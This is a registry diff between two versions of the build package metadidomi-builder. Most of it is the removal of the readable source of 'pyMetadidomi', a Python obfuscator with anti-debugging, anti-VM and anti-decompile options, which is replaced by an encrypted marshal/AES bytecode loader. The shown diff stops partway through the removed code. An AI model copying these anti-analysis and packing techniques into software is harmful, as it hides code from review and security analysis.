metadidomi-builder 1.4.201125 → 1.6.2812251812
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.md +1032 -572
- package/build_tools/backup-manager.js +3 -0
- package/build_tools/build_apk.js +3 -0
- package/build_tools/builder.js +2 -2
- package/build_tools/certs/cert-1a25871e.key +1 -0
- package/build_tools/certs/cert-1a25871e.pfx +0 -0
- package/build_tools/check-apk.js +211 -0
- package/build_tools/create-example-app.js +73 -0
- package/build_tools/decrypt_pfx_password.js +1 -26
- package/build_tools/diagnose-apk.js +61 -0
- package/build_tools/generate-icons.js +3 -0
- package/build_tools/generate-resources.js +3 -0
- package/build_tools/manage-dependencies.js +3 -0
- package/build_tools/process-dependencies.js +203 -0
- package/build_tools/resolve-transitive-deps.js +3 -0
- package/build_tools/restore-resources.js +3 -0
- package/build_tools/setup-androidx.js +131 -0
- package/build_tools/templates/bootstrap.template.js +27 -0
- package/build_tools/verify-apk-dependencies.js +261 -0
- package/build_tools_py/build_nsis_installer.py +1054 -19
- package/build_tools_py/builder.py +3 -3
- package/build_tools_py/compile_launcher_with_entry.py +19 -271
- package/build_tools_py/launcher_integration.py +19 -189
- package/build_tools_py/pyMetadidomi/README.md +98 -0
- package/build_tools_py/pyMetadidomi/__pycache__/pyMetadidomi.cpython-311.pyc +0 -0
- package/build_tools_py/pyMetadidomi/pyMetadidomi.py +16 -1675
- package/create-app.bat +31 -0
- package/create-app.ps1 +27 -0
- package/package.json +8 -2
- package/build_tools/certs/cert-65198130.key +0 -1
- package/build_tools/certs/cert-65198130.pfx +0 -0
- package/build_tools/certs/cert-f1fad9b5.key +0 -1
- package/build_tools/certs/cert-f1fad9b5.pfx +0 -0
- package/build_tools_py/pyMetadidomi/pyMetadidomi-obf.py +0 -19
|
@@ -1,1678 +1,19 @@
|
|
|
1
|
-
#
|
|
2
|
-
|
|
3
|
-
"""
|
|
4
|
-
Obfusque tous les fichiers Python d'un dossier source vers un dossier destination.
|
|
5
|
-
Utilisé par le builder pour protéger l'application.
|
|
6
|
-
|
|
7
|
-
Par défaut: --medium-protection (carbon + junk + bugs + dead_code)
|
|
8
|
-
"""
|
|
9
|
-
protection_options = {
|
|
10
|
-
'carbon': True, # Obfuscation des identifiants
|
|
11
|
-
'junk': True, # Code parasite pour complexifier
|
|
12
|
-
'bugs': True, # ✅ Anti-débogage (medium-protection)
|
|
13
|
-
'dead_code': True, # Code mort pour augmenter la taille
|
|
14
|
-
'loader_integrated': True, # ✅ Loader bytecode natif intégré
|
|
15
|
-
'time_prot': False,
|
|
16
|
-
'anti_vm': False,
|
|
17
|
-
'anti_reverse': False,
|
|
18
|
-
'anti_decompile': False,
|
|
19
|
-
'multi_encrypt': False,
|
|
20
|
-
'encrypt': False,
|
|
21
|
-
'expiration_year': 2026,
|
|
22
|
-
'dead_code_complexity': 15,
|
|
23
|
-
}
|
|
24
|
-
if verbose:
|
|
25
|
-
print(f"[pyMetadidomi] Obfuscation de {src_dir} -> {dest_dir}")
|
|
26
|
-
print(f"[pyMetadidomi] Options: --medium-protection (carbon + junk + bugs + dead_code + loader_integrated)")
|
|
27
|
-
result = apply_protections_to_directory(src_dir, dest_dir, protection_options, verbose=verbose)
|
|
28
|
-
if verbose:
|
|
29
|
-
print(f"[pyMetadidomi] ✓ Obfuscation complète: {result['total']} fichiers traités")
|
|
30
|
-
return result
|
|
31
|
-
# pyMetadidomi - Créé par ETS METADIDOMI
|
|
32
|
-
# Obfuscateur et chiffreur de code Python
|
|
33
|
-
import ast, io, tokenize, os, sys, platform, re, random, string, base64, hashlib, subprocess, requests, tempfile, argparse
|
|
34
|
-
from Crypto import Random
|
|
1
|
+
# --- Loader natif par pyMetadidomi (pymloader) ---
|
|
2
|
+
import base64, zlib, marshal
|
|
35
3
|
from Crypto.Cipher import AES
|
|
36
|
-
from typing import Set, Dict, List
|
|
37
|
-
|
|
38
|
-
is_windows = True if platform.system() == "Windows" else False
|
|
39
|
-
|
|
40
|
-
# Configuration de la fenêtre sur Windows
|
|
41
|
-
if is_windows:
|
|
42
|
-
os.system("title pyMetadidomi protecteur unique de code Python")
|
|
43
|
-
|
|
44
|
-
def clear():
|
|
45
|
-
# Efface l'écran
|
|
46
|
-
if is_windows:
|
|
47
|
-
os.system("cls")
|
|
48
|
-
else:
|
|
49
|
-
os.system("clear")
|
|
50
|
-
|
|
51
|
-
def pause():
|
|
52
|
-
# Met en pause
|
|
53
|
-
if is_windows:
|
|
54
|
-
os.system(f"pause >nul")
|
|
55
|
-
else:
|
|
56
|
-
input()
|
|
57
|
-
|
|
58
|
-
def leave():
|
|
59
|
-
# Quitte le programme
|
|
60
|
-
try:
|
|
61
|
-
sys.exit()
|
|
62
|
-
except:
|
|
63
|
-
exit()
|
|
64
|
-
|
|
65
|
-
def gui_info(title, message):
|
|
66
|
-
"""Affiche un message d'information dans une fenêtre GUI (tkinter) ou console fallback"""
|
|
67
|
-
try:
|
|
68
|
-
import tkinter as tk
|
|
69
|
-
from tkinter import messagebox
|
|
70
|
-
root = tk.Tk()
|
|
71
|
-
root.withdraw()
|
|
72
|
-
messagebox.showinfo(title, message)
|
|
73
|
-
root.destroy()
|
|
74
|
-
except:
|
|
75
|
-
print(f"{title}: {message}")
|
|
76
|
-
|
|
77
|
-
def gui_error(title, message):
|
|
78
|
-
"""Affiche un message d'erreur dans une fenêtre GUI (tkinter) ou console fallback"""
|
|
79
|
-
try:
|
|
80
|
-
import tkinter as tk
|
|
81
|
-
from tkinter import messagebox
|
|
82
|
-
root = tk.Tk()
|
|
83
|
-
root.withdraw()
|
|
84
|
-
messagebox.showerror(title, message)
|
|
85
|
-
root.destroy()
|
|
86
|
-
except:
|
|
87
|
-
print(red(f"{title}: {message}"))
|
|
88
|
-
|
|
89
|
-
def error(error):
|
|
90
|
-
# Affiche une erreur et quitte
|
|
91
|
-
print(red(f" [!] Erreur : {error}"), end="")
|
|
92
|
-
pause(); clear(); leave()
|
|
93
|
-
|
|
94
|
-
def blue_light(text):
|
|
95
|
-
# Bleu ciel vif (plus lumineux/saturé)
|
|
96
|
-
os.system("")
|
|
97
|
-
faded = ""
|
|
98
|
-
for line in text.splitlines():
|
|
99
|
-
# Utilise un bleu ciel vif (DeepSky-like) pour être visible et vif
|
|
100
|
-
faded += f"\033[38;2;0;191;255m{line}\033[0m\n"
|
|
101
|
-
return faded
|
|
102
|
-
|
|
103
|
-
def blue_dark(text):
|
|
104
|
-
os.system("")
|
|
105
|
-
faded = ""
|
|
106
|
-
for line in text.splitlines():
|
|
107
|
-
faded += f"\033[38;2;0;0;180m{line}\033[0m\n"
|
|
108
|
-
return faded
|
|
109
|
-
|
|
110
|
-
def blue_royal(text):
|
|
111
|
-
os.system("")
|
|
112
|
-
faded = ""
|
|
113
|
-
for line in text.splitlines():
|
|
114
|
-
faded += f"\033[38;2;0;80;255m{line}\033[0m\n"
|
|
115
|
-
return faded
|
|
116
|
-
|
|
117
|
-
def white(text):
|
|
118
|
-
# Texte blanc pur (foreground) — sans forcer de fond —
|
|
119
|
-
# afin d'afficher du texte en blanc comme demandé.
|
|
120
|
-
os.system("")
|
|
121
|
-
faded = ""
|
|
122
|
-
for line in text.splitlines():
|
|
123
|
-
faded += f"\033[38;2;255;255;255m{line}\033[0m\n"
|
|
124
|
-
return faded
|
|
125
|
-
|
|
126
|
-
def error_red(text):
|
|
127
|
-
os.system("")
|
|
128
|
-
faded = ""
|
|
129
|
-
for line in text.splitlines():
|
|
130
|
-
faded += f"\033[38;2;255;0;0m{line}\033[0m\n"
|
|
131
|
-
return faded
|
|
132
|
-
|
|
133
|
-
# Aliases pour compatibilité avec l'ancien code
|
|
134
|
-
def red(text):
|
|
135
|
-
return error_red(text)
|
|
136
|
-
|
|
137
|
-
def blue(text):
|
|
138
|
-
return blue_light(text)
|
|
139
|
-
|
|
140
|
-
def water(text):
|
|
141
|
-
return blue_light(text)
|
|
142
|
-
|
|
143
|
-
def purple(text):
|
|
144
|
-
return blue_royal(text)
|
|
145
|
-
|
|
146
|
-
def remove_docs(source):
|
|
147
|
-
# Supprime les commentaires et docstrings du code
|
|
148
|
-
io_obj = io.StringIO(source)
|
|
149
|
-
out = ""
|
|
150
|
-
prev_toktype = tokenize.INDENT
|
|
151
|
-
last_lineno = -1
|
|
152
|
-
last_col = 0
|
|
153
|
-
for tok in tokenize.generate_tokens(io_obj.readline):
|
|
154
|
-
token_type = tok[0]
|
|
155
|
-
token_string = tok[1]
|
|
156
|
-
start_line, start_col = tok[2]
|
|
157
|
-
end_line, end_col = tok[3]
|
|
158
|
-
if start_line > last_lineno:
|
|
159
|
-
last_col = 0
|
|
160
|
-
if start_col > last_col:
|
|
161
|
-
out += (" " * (start_col - last_col))
|
|
162
|
-
if token_type == tokenize.COMMENT:
|
|
163
|
-
pass
|
|
164
|
-
elif token_type == tokenize.STRING:
|
|
165
|
-
if prev_toktype != tokenize.INDENT:
|
|
166
|
-
if prev_toktype != tokenize.NEWLINE:
|
|
167
|
-
if start_col > 0:
|
|
168
|
-
out += token_string
|
|
169
|
-
else:
|
|
170
|
-
out += token_string
|
|
171
|
-
prev_toktype = token_type
|
|
172
|
-
last_col = end_col
|
|
173
|
-
last_lineno = end_line
|
|
174
|
-
out = '\n'.join(l for l in out.splitlines() if l.strip())
|
|
175
|
-
return out
|
|
176
|
-
|
|
177
|
-
def do_rename(pairs, code):
|
|
178
|
-
# Remplace les noms en utilisant les paires fournies
|
|
179
|
-
for key in pairs:
|
|
180
|
-
code = re.sub(fr"\b({key})\b", pairs[key], code, re.MULTILINE)
|
|
181
|
-
return code
|
|
182
|
-
|
|
183
|
-
class RobustRenamer:
|
|
184
|
-
"""Renommage robuste de tous les identifiants avec AST"""
|
|
185
|
-
|
|
186
|
-
def __init__(self):
|
|
187
|
-
self.used_names: Set[str] = set()
|
|
188
|
-
self.name_mapping: Dict[str, str] = {}
|
|
189
|
-
self.reserved_keywords = {
|
|
190
|
-
'and', 'as', 'assert', 'break', 'class', 'continue', 'def',
|
|
191
|
-
'del', 'elif', 'else', 'except', 'finally', 'for', 'from',
|
|
192
|
-
'global', 'if', 'import', 'in', 'is', 'lambda', 'nonlocal',
|
|
193
|
-
'not', 'or', 'pass', 'raise', 'return', 'try', 'while',
|
|
194
|
-
'with', 'yield', 'True', 'False', 'None', '__name__', '__main__',
|
|
195
|
-
'__file__', '__doc__', '__package__', '__loader__', '__spec__',
|
|
196
|
-
'__annotations__', '__builtins__', '__cached__', '__dict__'
|
|
197
|
-
}
|
|
198
|
-
# Modules standards Python et bibliothèques communes
|
|
199
|
-
self.protected_modules = {
|
|
200
|
-
'sys', 'os', 'time', 'datetime', 'json', 'csv', 're', 'random',
|
|
201
|
-
'math', 'collections', 'itertools', 'functools', 'operator',
|
|
202
|
-
'string', 'io', 'pathlib', 'tempfile', 'glob', 'shutil',
|
|
203
|
-
'subprocess', 'threading', 'multiprocessing', 'asyncio',
|
|
204
|
-
'socket', 'http', 'urllib', 'requests', 'flask', 'django',
|
|
205
|
-
'numpy', 'pandas', 'scipy', 'matplotlib', 'sqlalchemy',
|
|
206
|
-
'tkinter', 'tk', 'messagebox', 'filedialog', 'base64',
|
|
207
|
-
'hashlib', 'cryptography', 'Crypto', 'psutil', 'logging',
|
|
208
|
-
'unittest', 'pytest', 'doctest', 'pickle', 'shelve',
|
|
209
|
-
'sqlite3', 'abc', 'typing', 'enum', 'dataclasses', 'warnings',
|
|
210
|
-
'inspect', 'pydoc', 'importlib', 'pkgutil', 'modulefinder',
|
|
211
|
-
'ctypes', 'binascii', 'Process', 'Thread', 'Lock', 'Event',
|
|
212
|
-
'Queue', 'Pool', 'Manager', 'Value', 'Array', 'Pipe'
|
|
213
|
-
}
|
|
214
|
-
|
|
215
|
-
def generate_safe_name(self, length: int = 8) -> str:
|
|
216
|
-
"""Génère un nom sécurisé qui n'est pas un mot-clé Python"""
|
|
217
|
-
while True:
|
|
218
|
-
# Utiliser des caractères similaires pour complexifier la lecture
|
|
219
|
-
chars = ['I', 'l', '1', 'O', '0']
|
|
220
|
-
name = ''.join(random.choice(chars) for _ in range(length))
|
|
221
|
-
|
|
222
|
-
# Vérifier que ce n'est pas un mot-clé et pas déjà utilisé
|
|
223
|
-
if (name not in self.reserved_keywords and
|
|
224
|
-
name not in self.used_names and
|
|
225
|
-
name not in self.protected_modules and
|
|
226
|
-
not name[0].isdigit()):
|
|
227
|
-
self.used_names.add(name)
|
|
228
|
-
return name
|
|
229
|
-
|
|
230
|
-
def analyze_identifiers(self, code: str) -> Dict[str, List]:
|
|
231
|
-
"""Analyse tous les identifiants du code avec AST - Robuste et sûre"""
|
|
232
|
-
try:
|
|
233
|
-
tree = ast.parse(code)
|
|
234
|
-
except SyntaxError as e:
|
|
235
|
-
print(f" [!] Erreur de syntaxe à la ligne {e.lineno}: {e.msg}")
|
|
236
|
-
return {}
|
|
237
|
-
|
|
238
|
-
identifiers = {
|
|
239
|
-
'functions': set(),
|
|
240
|
-
'classes': set(),
|
|
241
|
-
}
|
|
242
|
-
|
|
243
|
-
class IdentifierCollector(ast.NodeVisitor):
|
|
244
|
-
def __init__(self, collector):
|
|
245
|
-
self.collector = collector
|
|
246
|
-
|
|
247
|
-
def visit_ClassDef(self, node):
|
|
248
|
-
# Ajouter uniquement les classes de haut niveau
|
|
249
|
-
self.collector['classes'].add(node.name)
|
|
250
|
-
self.generic_visit(node)
|
|
251
|
-
|
|
252
|
-
def visit_FunctionDef(self, node):
|
|
253
|
-
# Ajouter uniquement les fonctions de haut niveau
|
|
254
|
-
self.collector['functions'].add(node.name)
|
|
255
|
-
self.generic_visit(node)
|
|
256
|
-
|
|
257
|
-
def visit_AsyncFunctionDef(self, node):
|
|
258
|
-
self.collector['functions'].add(node.name)
|
|
259
|
-
self.generic_visit(node)
|
|
260
|
-
|
|
261
|
-
collector = IdentifierCollector(identifiers)
|
|
262
|
-
collector.visit(tree)
|
|
263
|
-
|
|
264
|
-
# Convertir les sets en listes
|
|
265
|
-
return {k: list(v) for k, v in identifiers.items()}
|
|
266
|
-
|
|
267
|
-
def build_rename_mapping(self, identifiers: Dict[str, List]) -> Dict[str, str]:
|
|
268
|
-
"""Construit le mapping de renommage - TRÈS ULTRA CONSERVATIVE"""
|
|
269
|
-
mapping = {}
|
|
270
|
-
|
|
271
|
-
# STRATÉGIE ULTRA CONSERVATIVE :
|
|
272
|
-
# On renomme UNIQUEMENT les classes de haut niveau et fonctions utilisateur
|
|
273
|
-
# PAS les variables globales, pas les paramètres, pas les attributs, pas les imports
|
|
274
|
-
|
|
275
|
-
# Renommer uniquement les classes
|
|
276
|
-
if 'classes' in identifiers:
|
|
277
|
-
for original_name in identifiers['classes']:
|
|
278
|
-
# Ne pas renommer les modules standards
|
|
279
|
-
if original_name in self.protected_modules:
|
|
280
|
-
continue
|
|
281
|
-
|
|
282
|
-
# Ne pas renommer les classes "built-in" ou spéciales
|
|
283
|
-
if (original_name not in self.reserved_keywords and
|
|
284
|
-
not original_name.startswith('__') and
|
|
285
|
-
original_name not in self.protected_modules):
|
|
286
|
-
|
|
287
|
-
new_name = self.generate_safe_name(random.randint(8, 15))
|
|
288
|
-
mapping[original_name] = new_name
|
|
289
|
-
|
|
290
|
-
# Renommer uniquement les fonctions qui ne sont pas importées
|
|
291
|
-
if 'functions' in identifiers:
|
|
292
|
-
for original_name in identifiers['functions']:
|
|
293
|
-
if original_name in self.protected_modules:
|
|
294
|
-
continue
|
|
295
|
-
|
|
296
|
-
# Exclure les dunder methods et magic methods
|
|
297
|
-
if (original_name not in self.reserved_keywords and
|
|
298
|
-
not original_name.startswith('__') and
|
|
299
|
-
original_name not in ['init', 'new', 'str', 'repr', 'len']):
|
|
300
|
-
|
|
301
|
-
new_name = self.generate_safe_name(random.randint(8, 15))
|
|
302
|
-
mapping[original_name] = new_name
|
|
303
|
-
|
|
304
|
-
return mapping
|
|
305
|
-
|
|
306
|
-
def safe_rename(self, code: str, mapping: Dict[str, str]) -> str:
|
|
307
|
-
"""Renommage sécurisé avec protection avancée des contextes sensibles"""
|
|
308
|
-
|
|
309
|
-
# Trier par longueur décroissante pour éviter les conflits de sous-chaînes
|
|
310
|
-
sorted_items = sorted(mapping.items(), key=lambda x: len(x[0]), reverse=True)
|
|
311
|
-
|
|
312
|
-
# ===== ÉTAPE 1: Protection complète des strings =====
|
|
313
|
-
string_pattern = r'("""(?:[^"\\]|\\.)*?"""|\'\'\'(?:[^\'\\]|\\.)*?\'\'\'|"(?:[^"\\]|\\.)*?"|\'(?:[^\'\\]|\\.)*?\')'
|
|
314
|
-
strings = []
|
|
315
|
-
|
|
316
|
-
def protect_strings(match):
|
|
317
|
-
strings.append(match.group(0))
|
|
318
|
-
return f'__STRING_PLACEHOLDER_{len(strings)-1}__'
|
|
319
|
-
|
|
320
|
-
code = re.sub(string_pattern, protect_strings, code, flags=re.DOTALL)
|
|
321
|
-
|
|
322
|
-
# ===== ÉTAPE 2: Protection des commentaires =====
|
|
323
|
-
comments = []
|
|
324
|
-
comment_pattern = r'#.*?$'
|
|
325
|
-
|
|
326
|
-
def protect_comments(match):
|
|
327
|
-
comments.append(match.group(0))
|
|
328
|
-
return f'__COMMENT_PLACEHOLDER_{len(comments)-1}__'
|
|
329
|
-
|
|
330
|
-
code = re.sub(comment_pattern, protect_comments, code, flags=re.MULTILINE)
|
|
331
|
-
|
|
332
|
-
# ===== ÉTAPE 3: Protection des imports =====
|
|
333
|
-
# Patterns d'import à protéger
|
|
334
|
-
import_patterns = [
|
|
335
|
-
r'from\s+\w+\s+import',
|
|
336
|
-
r'import\s+\w+',
|
|
337
|
-
r'as\s+\w+'
|
|
338
|
-
]
|
|
339
|
-
|
|
340
|
-
# ===== ÉTAPE 4: Renommer UNIQUEMENT les identifiants isolés =====
|
|
341
|
-
for old_name, new_name in sorted_items:
|
|
342
|
-
# Pattern strict: le nom doit être entouré par des word boundaries
|
|
343
|
-
# ET ne pas être précédé par "import", "from", "as", ".", ou ":"
|
|
344
|
-
pattern = r'(?<![\.:\w])(?<!import\s)(?<!from\s)(?<!as\s)' + \
|
|
345
|
-
re.escape(old_name) + \
|
|
346
|
-
r'(?![\w\.])'
|
|
347
|
-
|
|
348
|
-
code = re.sub(pattern, new_name, code, flags=re.MULTILINE)
|
|
349
|
-
|
|
350
|
-
# ===== ÉTAPE 5: Restauration des commentaires =====
|
|
351
|
-
for i, original_comment in enumerate(comments):
|
|
352
|
-
code = code.replace(f'__COMMENT_PLACEHOLDER_{i}__', original_comment)
|
|
353
|
-
|
|
354
|
-
# ===== ÉTAPE 6: Restauration des strings =====
|
|
355
|
-
for i, original_string in enumerate(strings):
|
|
356
|
-
code = code.replace(f'__STRING_PLACEHOLDER_{i}__', original_string)
|
|
357
|
-
|
|
358
|
-
return code
|
|
359
|
-
|
|
360
|
-
def apply_protections_to_directory(src_dir, dest_dir, protection_options, verbose=True):
|
|
361
|
-
"""
|
|
362
|
-
Applique les protections pyMetadidomi à tous les fichiers .py d'un répertoire
|
|
363
|
-
Utilisé par le builder pour protéger les applications complètes
|
|
364
|
-
|
|
365
|
-
Args:
|
|
366
|
-
src_dir: Répertoire source contenant les fichiers Python
|
|
367
|
-
dest_dir: Répertoire de destination pour les fichiers protégés
|
|
368
|
-
protection_options: Dictionnaire avec les options de protection
|
|
369
|
-
verbose: Afficher les détails du traitement
|
|
370
|
-
|
|
371
|
-
Returns:
|
|
372
|
-
Dictionnaire avec les statistiques du traitement
|
|
373
|
-
"""
|
|
374
|
-
if not any(protection_options.values()):
|
|
375
|
-
# Aucune protection demandée, copier simplement
|
|
376
|
-
from pathlib import Path
|
|
377
|
-
src_path = Path(src_dir)
|
|
378
|
-
if src_path.exists():
|
|
379
|
-
import shutil
|
|
380
|
-
dest_path = Path(dest_dir)
|
|
381
|
-
shutil.copytree(src_path, dest_path, dirs_exist_ok=True)
|
|
382
|
-
return {'total': 0, 'protected': 0, 'copied': 0, 'errors': []}
|
|
383
|
-
|
|
384
|
-
from pathlib import Path
|
|
385
|
-
import shutil
|
|
386
|
-
|
|
387
|
-
src_path = Path(src_dir)
|
|
388
|
-
dest_path = Path(dest_dir)
|
|
389
|
-
dest_path.mkdir(parents=True, exist_ok=True)
|
|
390
|
-
|
|
391
|
-
# Statistiques détaillées
|
|
392
|
-
stats = {
|
|
393
|
-
'total': 0,
|
|
394
|
-
'protected': 0,
|
|
395
|
-
'copied': 0,
|
|
396
|
-
'errors': [],
|
|
397
|
-
'files': [] # Liste des fichiers traités
|
|
398
|
-
}
|
|
399
|
-
|
|
400
|
-
# Collecter tous les fichiers .py
|
|
401
|
-
py_files = sorted(list(src_path.rglob('*.py')))
|
|
402
|
-
|
|
403
|
-
if verbose:
|
|
404
|
-
print(f"[pyMetadidomi] 📄 {len(py_files)} fichier(s) Python trouvé(s)")
|
|
405
|
-
print()
|
|
406
|
-
|
|
407
|
-
for i, py_file in enumerate(py_files, 1):
|
|
408
|
-
rel_path = py_file.relative_to(src_path)
|
|
409
|
-
dest_file = dest_path / rel_path
|
|
410
|
-
dest_file.parent.mkdir(parents=True, exist_ok=True)
|
|
411
|
-
|
|
412
|
-
try:
|
|
413
|
-
# Lire le fichier source
|
|
414
|
-
with open(py_file, 'r', encoding='utf-8') as f:
|
|
415
|
-
src = f.read()
|
|
416
|
-
|
|
417
|
-
# Taille originale
|
|
418
|
-
original_size = len(src)
|
|
419
|
-
protection_applied = False # ← Initialiser la variable
|
|
420
|
-
|
|
421
|
-
# Appliquer les protections dans l'ordre
|
|
422
|
-
if protection_options.get('junk'):
|
|
423
|
-
src = anubis(src)
|
|
424
|
-
protection_applied = True
|
|
425
|
-
if protection_options.get('bugs'):
|
|
426
|
-
src = bugs(src)
|
|
427
|
-
protection_applied = True
|
|
428
|
-
if protection_options.get('dead_code'):
|
|
429
|
-
complexity = protection_options.get('dead_code_complexity', 10)
|
|
430
|
-
src = generate_dead_code(complexity) + src
|
|
431
|
-
protection_applied = True
|
|
432
|
-
if protection_options.get('time_prot'):
|
|
433
|
-
expiration_year = protection_options.get('expiration_year', 2025)
|
|
434
|
-
src = time_protection(src, expiration_year=expiration_year)
|
|
435
|
-
protection_applied = True
|
|
436
|
-
|
|
437
|
-
if protection_options.get('anti_vm') or protection_options.get('anti_reverse'):
|
|
438
|
-
src = advanced_anti_analysis(src)
|
|
439
|
-
protection_applied = True
|
|
440
|
-
|
|
441
|
-
if protection_options.get('anti_decompile'):
|
|
442
|
-
src = anti_decompile_protection(src)
|
|
443
|
-
protection_applied = True
|
|
444
|
-
|
|
445
|
-
if protection_options.get('multi_encrypt'):
|
|
446
|
-
key = base64.b64encode(os.urandom(32)).decode()
|
|
447
|
-
encryption = MultiLayerEncryption([key, key[:16], key[:8]])
|
|
448
|
-
src = "encrypted_code = " + repr(encryption.multi_encrypt(src)) + "\n" + src
|
|
449
|
-
protection_applied = True
|
|
450
|
-
|
|
451
|
-
if protection_options.get('carbon'):
|
|
452
|
-
src, renamed_count = carbon(src)
|
|
453
|
-
# Ne compter comme "vraiment protégé" que si des identifiants ont été renommés
|
|
454
|
-
if renamed_count > 0:
|
|
455
|
-
protection_applied = True
|
|
456
|
-
else:
|
|
457
|
-
protection_applied = False
|
|
458
|
-
else:
|
|
459
|
-
protection_applied = True # Les autres protections comptent toujours
|
|
460
|
-
|
|
461
|
-
if protection_options.get('encrypt'):
|
|
462
|
-
key = base64.b64encode(os.urandom(32)).decode()
|
|
463
|
-
src = Encryption(key.encode()).write(key, src)
|
|
464
|
-
protection_applied = True
|
|
465
|
-
|
|
466
|
-
if protection_options.get('loader_integrated'):
|
|
467
|
-
src = protect_with_loader(src)
|
|
468
|
-
protection_applied = True
|
|
469
|
-
|
|
470
|
-
# Taille après obfuscation
|
|
471
|
-
obfuscated_size = len(src)
|
|
472
|
-
size_increase = ((obfuscated_size - original_size) / original_size * 100) if original_size > 0 else 0
|
|
473
|
-
|
|
474
|
-
# Écrire le fichier protégé
|
|
475
|
-
with open(dest_file, 'w', encoding='utf-8') as f:
|
|
476
|
-
f.write(src)
|
|
477
|
-
|
|
478
|
-
# Compter comme protégé SEULEMENT si une protection a vraiment été appliquée
|
|
479
|
-
if protection_applied or protection_options.get('junk') or protection_options.get('dead_code'):
|
|
480
|
-
stats['protected'] += 1
|
|
481
|
-
file_status = 'protected'
|
|
482
|
-
else:
|
|
483
|
-
stats['copied'] += 1
|
|
484
|
-
file_status = 'copied'
|
|
485
|
-
|
|
486
|
-
file_info = {
|
|
487
|
-
'name': str(rel_path),
|
|
488
|
-
'original_size': original_size,
|
|
489
|
-
'obfuscated_size': obfuscated_size,
|
|
490
|
-
'increase': size_increase,
|
|
491
|
-
'status': file_status
|
|
492
|
-
}
|
|
493
|
-
stats['files'].append(file_info)
|
|
494
|
-
|
|
495
|
-
if verbose:
|
|
496
|
-
status_icon = "✓" if file_status == 'protected' else "→"
|
|
497
|
-
print(f" [{i}/{len(py_files)}] {status_icon} {str(rel_path):50s} | {original_size:8d} → {obfuscated_size:8d} bytes (+{size_increase:5.1f}%)")
|
|
498
|
-
|
|
499
|
-
except Exception as e:
|
|
500
|
-
# En cas d'erreur, copier simplement le fichier
|
|
501
|
-
error_msg = f"Erreur lors de la protection de {rel_path}: {e}"
|
|
502
|
-
if verbose:
|
|
503
|
-
print(f" [{i}/{len(py_files)}] ⚠️ {str(rel_path):50s} | ERREUR: {str(e)[:40]}")
|
|
504
|
-
shutil.copy2(py_file, dest_file)
|
|
505
|
-
stats['copied'] += 1
|
|
506
|
-
stats['errors'].append(error_msg)
|
|
507
|
-
file_info = {
|
|
508
|
-
'name': str(rel_path),
|
|
509
|
-
'status': 'copied_on_error',
|
|
510
|
-
'error': str(e)
|
|
511
|
-
}
|
|
512
|
-
stats['files'].append(file_info)
|
|
513
|
-
|
|
514
|
-
# Copier aussi les fichiers non-.py
|
|
515
|
-
non_py_files = [item for item in src_path.rglob('*')
|
|
516
|
-
if item.is_file() and item.suffix != '.py']
|
|
517
|
-
|
|
518
|
-
if verbose and non_py_files:
|
|
519
|
-
print()
|
|
520
|
-
print(f"[pyMetadidomi] 📦 {len(non_py_files)} fichier(s) non-Python")
|
|
521
|
-
|
|
522
|
-
for item in non_py_files:
|
|
523
|
-
rel_path = item.relative_to(src_path)
|
|
524
|
-
dest_file = dest_path / rel_path
|
|
525
|
-
dest_file.parent.mkdir(parents=True, exist_ok=True)
|
|
526
|
-
shutil.copy2(item, dest_file)
|
|
527
|
-
stats['copied'] += 1
|
|
528
|
-
|
|
529
|
-
stats['total'] = len(py_files) + len(non_py_files)
|
|
530
|
-
|
|
531
|
-
# Copier le module natif pymloader.pyd si disponible
|
|
532
|
-
import pathlib
|
|
533
|
-
loader_dir = pathlib.Path(__file__).parent
|
|
534
|
-
pymloader_ext = 'pymloader.pyd' if sys.platform.startswith('win') else 'pymloader.so'
|
|
535
|
-
pymloader_bin = loader_dir / pymloader_ext
|
|
536
|
-
if pymloader_bin.exists():
|
|
537
|
-
dest_pymloader = dest_path / pymloader_ext
|
|
538
|
-
shutil.copy2(pymloader_bin, dest_pymloader)
|
|
539
|
-
if verbose:
|
|
540
|
-
print(f"[pyMetadidomi] 📦 Module natif {pymloader_ext} copié dans le dossier de destination")
|
|
541
|
-
|
|
542
|
-
if verbose:
|
|
543
|
-
print()
|
|
544
|
-
print(f"[pyMetadidomi] ════════════════════════════════════════════════════════")
|
|
545
|
-
print(f"[pyMetadidomi] 📊 RÉSUMÉ D'OBFUSCATION:")
|
|
546
|
-
print(f"[pyMetadidomi] - Fichiers Python traités: {len(py_files)}")
|
|
547
|
-
print(f"[pyMetadidomi] - Fichiers Python obfusqués (avec identifiants renommés): {stats['protected']}")
|
|
548
|
-
print(f"[pyMetadidomi] - Fichiers non-Python copiés: {len(non_py_files)}")
|
|
549
|
-
print(f"[pyMetadidomi] - TOTAL: {stats['total']} fichiers dans le dossier protégé")
|
|
550
|
-
if stats['errors']:
|
|
551
|
-
print(f"[pyMetadidomi] - ⚠️ Erreurs lors de l'obfuscation: {len(stats['errors'])}")
|
|
552
|
-
print(f"[pyMetadidomi] ════════════════════════════════════════════════════════")
|
|
553
|
-
print()
|
|
554
|
-
|
|
555
|
-
return stats
|
|
556
|
-
|
|
557
|
-
def carbon(code):
|
|
558
|
-
"""
|
|
559
|
-
Obfuscation Carbon améliorée et robuste
|
|
560
|
-
Retourne (code_obfusqué, nombre_d'identifiants_renommés)
|
|
561
|
-
"""
|
|
562
|
-
renamer = RobustRenamer()
|
|
563
|
-
|
|
564
|
-
# Étape 1: Analyse complète du code
|
|
565
|
-
print(" [>] Analyse des identifiants...")
|
|
566
|
-
identifiers = renamer.analyze_identifiers(code)
|
|
567
|
-
|
|
568
|
-
if not identifiers:
|
|
569
|
-
print(" [!] Impossible d'analyser le code, retour du code original")
|
|
570
|
-
return code, 0
|
|
571
|
-
|
|
572
|
-
# Étape 2: Construction du mapping de renommage
|
|
573
|
-
print(" [>] Génération des nouveaux noms...")
|
|
574
|
-
mapping = renamer.build_rename_mapping(identifiers)
|
|
575
|
-
|
|
576
|
-
if not mapping:
|
|
577
|
-
print(" [!] Aucun identifiant à renommer")
|
|
578
|
-
return code, 0
|
|
579
|
-
|
|
580
|
-
# Barre de progression
|
|
581
|
-
cycles = [
|
|
582
|
-
"[ > > ]",
|
|
583
|
-
"[ > > > > ]",
|
|
584
|
-
"[ > > > > > > ]",
|
|
585
|
-
"[ > > > > > > > > ]",
|
|
586
|
-
"[ > > > > > > > > > > ]",
|
|
587
|
-
"[ > > > > > > > > > > > > ]",
|
|
588
|
-
"[ > > > > > > > > > > > > > > ]",
|
|
589
|
-
